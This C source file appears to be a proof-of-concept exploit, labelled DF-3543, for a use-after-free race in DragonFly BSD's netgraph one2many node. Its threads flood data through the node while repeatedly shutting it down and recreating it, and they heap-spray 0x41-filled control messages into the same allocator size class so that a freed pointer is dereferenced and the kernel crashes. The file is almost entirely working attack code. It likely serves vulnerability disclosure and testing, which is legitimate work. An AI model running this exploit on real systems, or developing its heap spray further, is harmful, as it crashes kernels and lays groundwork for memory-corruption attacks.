DF-3543 / race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 | /* * DF-3543 PoC: v1 ng_one2many rcvdata vs rcvmsg/shutdown race. * * DragonFly v1 netgraph delivers control messages (ng_send_msg) and data * (ng_send_data) synchronously in the senders' thread contexts with no * per-node serialization (sys/netgraph/netgraph/ng_base.c:1207, * sys/netgraph/netgraph/ng_base.c:1678). ng_one2many_rmnode() does * kfree(priv) (sys/netgraph/one2many/ng_one2many.c:441) after * ng_cutlinks(), while an in-flight ng_one2many_rcvdata() on another CPU * still holds a cached priv pointer and performs: * - priv writes : src->stats.recvPackets++ / dst->stats.xmitPackets++ * (ng_one2many.c:406,421,422) * - priv reads : many[activeMany[nextMany]].hook (:415) * - hook deref : NG_SEND_DATA(dst->hook,...) (:425) which reads * hook->flags / hook->peer / peer->node->type * (ng_base.c:1684-1687) * => use-after-free (write) of the freed node private data and a * use-after-free read/deref of the freed "many" hook. * * This program races: * - N writer threads flooding the "one" hook of a one2many node, * - closer threads looping SHUTDOWN -> MKPEER -> CONNECT on that node, * - churner threads spraying ~2.8KB netgraph control messages * (kmalloc'd + kfreed in ngc_send, same kmalloc size class as * struct ng_one2many_private) filled with 0x41 so that stale priv * reads turn dst->hook into 0x4141414141414141 -> deterministic * kernel page fault on deref. * * Must run as root (netgraph control sockets are restricted). */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #ifndef AF_NETGRAPH #define AF_NETGRAPH 32 #endif #define NG_AF AF_NETGRAPH #define NG_PROTO_CONTROL 2 #define NG_PROTO_DATA 1 #define NG_VERSION 2 #define NG_GENERIC_COOKIE 851672668 #define NGM_SHUTDOWN 1 #define NGM_MKPEER 2 #define NGM_CONNECT 3 #define NGM_NAME 4 #define NG_TYPESIZ 32 #define NG_HOOKSIZ 32 #define NG_NODESIZ 32 #define NG_PATHSIZ 512 #define NG_CMDSTRSIZ 32 struct ng_msghdr_t { unsigned char version; unsigned char spare; unsigned short arglen; unsigned int flags; unsigned int token; unsigned int typecookie; unsigned int cmd; unsigned char cmdstr[NG_CMDSTRSIZ]; }; struct ng_mesg_t { struct ng_msghdr_t header; char data[4096]; }; struct sockaddr_ng_t { unsigned char sg_len; unsigned char sg_family; char sg_data[64]; }; struct ngm_mkpeer_t { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; }; struct ngm_connect_t { char path[NG_PATHSIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; }; struct ngm_name_t { char name[NG_NODESIZ]; }; static int cs = -1, ds = -1; static volatile int stop = 0; static const char *nodename; static char t1path[16]; static void mkaddr(struct sockaddr_ng_t *sa, const char *path) { size_t n = strlen(path) + 1; memset(sa, 0, sizeof(*sa)); sa->sg_len = 2 + n; sa->sg_family = NG_AF; memcpy(sa->sg_data, path, n); } static int ng_send_ctrl(const char *path, unsigned int cookie, unsigned int cmd, const void *arg, size_t arglen) { struct sockaddr_ng_t sa; struct ng_mesg_t msg; ssize_t n; memset(&msg, 0, sizeof(msg)); msg.header.version = NG_VERSION; msg.header.arglen = arglen; msg.header.typecookie = cookie; msg.header.cmd = cmd; msg.header.token = 0x666; if (arglen) memcpy(msg.data, arg, arglen); mkaddr(&sa, path); n = sendto(cs, &msg, sizeof(msg.header) + arglen, 0, (struct sockaddr *)&sa, sa.sg_len); return (n < 0) ? errno : 0; } static void * writer(void *arg) { struct sockaddr_ng_t sa; char buf[64]; memset(buf, 'A', sizeof(buf)); mkaddr(&sa, t1path); /* send into C's hook -> O's "one" */ while (!stop) { ssize_t n = sendto(ds, buf, sizeof(buf), 0, (struct sockaddr *)&sa, sa.sg_len); if (n < 0 && errno != ENOTCONN && errno != EHOSTUNREACH && errno != ENOBUFS && errno != ECONNREFUSED && errno != EINVAL) usleep(100); } return (NULL); } static void * drainer(void *arg) { char buf[2048]; while (!stop) recv(ds, buf, sizeof(buf), 0); return (NULL); } static void * closer(void *arg) { struct ngm_mkpeer_t mk; struct ngm_connect_t cn; int err; memset(&mk, 0, sizeof(mk)); strcpy(mk.type, "one2many"); strcpy(mk.ourhook, t1path); strcpy(mk.peerhook, "one"); memset(&cn, 0, sizeof(cn)); strcpy(cn.path, "one"); /* from O back to C */ strcpy(cn.ourhook, "many0"); strcpy(cn.peerhook, "m0"); while (!stop) { ng_send_ctrl(t1path, NG_GENERIC_COOKIE, NGM_SHUTDOWN, NULL, 0); err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); if (err == 0) ng_send_ctrl(t1path, NG_GENERIC_COOKIE, NGM_CONNECT, &cn, sizeof(cn)); } return (NULL); } /* * Spray kmalloc'd netgraph control messages whose payload is 0x41. * struct ng_one2many_private is ~2.8KB; the xmsg buffer kmalloc'd by * ngc_send for a 2816-byte message lands in the same size class and is * freed at the end of the (EINVAL) call, so a stale priv read of * many[i].hook can observe 0x4141414141414141. */ static void * churner(void *arg) { struct sockaddr_ng_t sa; struct ng_mesg_t *msg; msg = malloc(sizeof(*msg)); memset(msg, 0x41, sizeof(*msg)); msg->header.version = NG_VERSION; msg->header.arglen = 2816; msg->header.typecookie = 0x41414141; msg->header.cmd = 1; mkaddr(&sa, "."); while (!stop) { ssize_t n = sendto(cs, msg, sizeof(msg->header) + 2816, 0, (struct sockaddr *)&sa, sa.sg_len); if (n < 0 && errno != EINVAL) usleep(100); } free(msg); return (NULL); } int main(int argc, char **argv) { struct ngm_name_t nm; struct ngm_mkpeer_t mk; struct ngm_connect_t cn; pthread_t th[32]; int nwriters = 8, nclosers = 2, nchurn = 2, ndrain = 1; int i, err, nth = 0; char namebuf[32]; if (argc > 1) nwriters = atoi(argv[1]); if (argc > 2) nclosers = atoi(argv[2]); if (argc > 3) nchurn = atoi(argv[3]); snprintf(namebuf, sizeof(namebuf), "r%d", getpid()); nodename = namebuf; snprintf(t1path, sizeof(t1path), "t1"); cs = socket(NG_AF, SOCK_DGRAM, NG_PROTO_CONTROL); if (cs < 0) { perror("control socket"); exit(1); } ds = socket(NG_AF, SOCK_DGRAM, NG_PROTO_DATA); if (ds < 0) { perror("data socket"); exit(1); } /* name the control node, then attach the data socket to it */ memset(&nm, 0, sizeof(nm)); strcpy(nm.name, namebuf); err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm)); if (err) { fprintf(stderr, "NGM_NAME: %s\n", strerror(err)); exit(1); } { struct sockaddr_ng_t sa; char abspath[64]; /* v1 path syntax: absolute node address needs the ':' */ snprintf(abspath, sizeof(abspath), "%s:", namebuf); mkaddr(&sa, abspath); if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) { perror("data connect"); exit(1); } } /* build the graph: C.t1 <-> O(one); O.many0 <-> C.m0 */ memset(&mk, 0, sizeof(mk)); strcpy(mk.type, "one2many"); strcpy(mk.ourhook, t1path); strcpy(mk.peerhook, "one"); err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); if (err) { fprintf(stderr, "initial mkpeer: %s\n", strerror(err)); exit(1); } memset(&cn, 0, sizeof(cn)); strcpy(cn.path, "one"); strcpy(cn.ourhook, "many0"); strcpy(cn.peerhook, "m0"); err = ng_send_ctrl(t1path, NG_GENERIC_COOKIE, NGM_CONNECT, &cn, sizeof(cn)); if (err) { fprintf(stderr, "initial connect: %s\n", strerror(err)); exit(1); } fprintf(stderr, "racing: %d writers, %d closers, %d churners\n", nwriters, nclosers, nchurn); for (i = 0; i < ndrain; i++) pthread_create(&th[nth++], NULL, drainer, NULL); for (i = 0; i < nwriters; i++) pthread_create(&th[nth++], NULL, writer, NULL); for (i = 0; i < nclosers; i++) pthread_create(&th[nth++], NULL, closer, NULL); for (i = 0; i < nchurn; i++) pthread_create(&th[nth++], NULL, churner, NULL); sleep(600); stop = 1; for (i = 0; i < nth; i++) pthread_join(th[i], NULL); fprintf(stderr, "survived 600s\n"); return (0); } |